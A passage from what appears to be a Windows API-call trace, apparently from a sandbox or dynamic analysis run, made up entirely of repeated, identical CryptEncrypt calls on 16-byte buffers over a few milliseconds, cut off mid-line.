hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.748] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.749] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.750] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.751] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.752] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, 